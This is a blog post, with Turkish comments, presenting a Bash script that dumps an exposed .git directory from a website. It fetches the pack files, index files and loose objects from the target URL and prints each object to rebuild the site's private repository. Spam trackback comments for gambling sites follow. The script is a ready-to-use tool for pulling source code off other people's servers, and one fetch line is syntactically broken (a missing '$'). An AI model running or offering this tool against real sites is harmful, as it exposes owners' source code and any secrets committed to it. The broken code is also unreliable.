#https://test.com/.git/objects/info/packs adresine yanıt veren tüm web siteleri
#için geçerli olabilir pack dosyasını verify ederek tüm commitlere erişmeyi
#ve objects dosylarını çözümleyerek git reposunu okumayı hedefler

#!/bin/bash

url="https://test.com/"

git init
mkdir icerikler

curl "$url.git/objects/info/packs" --output bilgi.txt
cat bilgi.txt | cut -d ' ' -f2 > packlist.txt
echo "" > commits.txt

while read -r line;
do
        curl "$url.git/objects/pack/$line" --output ".git/objects/pack/$line"
        curl "$url.git/objects/pack/$(echo $line | cut -d '.' -f1).idx" --output ".git/objects/pack/$(echo $line | cut -d '.' -f1).idx"
        git verify-pack -v ".git/objects/pack/$line" >> commits.txt
        git verify-pack -v ".git/objects/pack/$line" | cut -d ' ' -f1 >> commitsHash.txt
done < packlist.txt

echo "" > sonuc.txt

while read -r commits;
do
        if (( $(jobs -p | wc -l) > 100 ))
        then
                sleep 5s
        fi
        echo "$commits Dosyası yükleniyor..."
        mkdir .git/objects/${commits:0:2}
        curl "$url.git/objects/${commits:0:2}/{commits:2:40}" --output ".git/objects/${commits:0:2}/${commits:2:40}" >> /dev/null 2>&1 &
        echo "$commits açılıyor."
        git cat-file -p $commits >> icerikler/$commits
done < commitsHash.txt

exit
Categories: Bash language

14 Comments

เค้กด่วน · 25/01/2025 at 06:24

… [Trackback]

[…] Read More on to that Topic: durukanbal.com/2023/02/17/bash-git-read-repo-hacks/ […]

pakong188 · 30/01/2025 at 12:35

… [Trackback]

[…] Find More on on that Topic: durukanbal.com/2023/02/17/bash-git-read-repo-hacks/ […]

betflix wallet · 07/02/2025 at 19:20

… [Trackback]

[…] Find More here on that Topic: durukanbal.com/2023/02/17/bash-git-read-repo-hacks/ […]

Aviator · 21/02/2025 at 13:08

… [Trackback]

[…] Here you will find 33762 more Info on that Topic: durukanbal.com/2023/02/17/bash-git-read-repo-hacks/ […]

Aviator game online · 11/03/2025 at 03:58

… [Trackback]

[…] Find More to that Topic: durukanbal.com/2023/02/17/bash-git-read-repo-hacks/ […]

Plinko · 11/03/2025 at 21:07

… [Trackback]

[…] Find More here on that Topic: durukanbal.com/2023/02/17/bash-git-read-repo-hacks/ […]

HUAYZAP เว็บตรงอันดับ 1 · 12/03/2025 at 04:23

… [Trackback]

[…] Read More Information here to that Topic: durukanbal.com/2023/02/17/bash-git-read-repo-hacks/ […]

โคมไฟ · 15/03/2025 at 21:16

… [Trackback]

[…] Info on that Topic: durukanbal.com/2023/02/17/bash-git-read-repo-hacks/ […]

website · 20/03/2025 at 16:06

… [Trackback]

[…] Read More on that Topic: durukanbal.com/2023/02/17/bash-git-read-repo-hacks/ […]

หวยที่น่าซื้อที่สุดในเว็บ lottorich28 · 26/03/2025 at 07:55

… [Trackback]

[…] Find More to that Topic: durukanbal.com/2023/02/17/bash-git-read-repo-hacks/ […]

เว็บหวยออนไลน์ จ่ายจริง ซื้อหวยออนไลน์ถูกกฎหมาย · 29/03/2025 at 18:19

… [Trackback]

[…] Info on that Topic: durukanbal.com/2023/02/17/bash-git-read-repo-hacks/ […]

ไฮโลไทย · 29/03/2025 at 23:53

… [Trackback]

[…] Read More Information here on that Topic: durukanbal.com/2023/02/17/bash-git-read-repo-hacks/ […]

lapt789 · 31/03/2025 at 06:17

… [Trackback]

[…] Find More to that Topic: durukanbal.com/2023/02/17/bash-git-read-repo-hacks/ […]

face exercise · 31/03/2025 at 09:25

… [Trackback]

[…] There you can find 81914 more Info on that Topic: durukanbal.com/2023/02/17/bash-git-read-repo-hacks/ […]

Leave a Reply

Avatar placeholder